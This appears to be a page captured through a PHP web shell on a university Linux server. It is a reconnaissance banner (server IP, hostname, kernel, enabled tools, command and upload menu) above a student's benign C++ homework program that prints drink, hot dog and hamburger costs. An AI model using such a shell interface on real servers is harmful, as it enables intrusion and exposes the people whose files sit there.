Server IP : 172.16.15.8 / Your IP : 18.221.167.11 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/kmmowery/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//--------------------------------------------------------------- // Name: Kieara Mowery // Date: Friday, November 21st // Due : Monday, November 24th // Purpose : To display the cost of drinks, hot dogs, // and hamburgers by multiplying i by the cost of each // food type. //--------------------------------------------------------------- #include <iostream> #include <iomanip> using namespace std; int main () { int i, drcost, hdcost, hamcost, numsold; cout << " Num Sold " << setw(8); cout << "Drink Cost" << setw(8); cout << " Hot Dog Cost" << setw(8); cout << " Hamburger Cost" << setw(8) << endl; for ( i = 1; i <= 10; i++ ) { numsold = i; drcost = i * 2; hdcost = i * 3; hamcost = i * 5; cout << i << " " << setw(8) << drcost << " " << setw(8); cout << hdcost << " " << setw(8) << hamcost << " " << setw(8) << endl; cout << endl; } return 0; }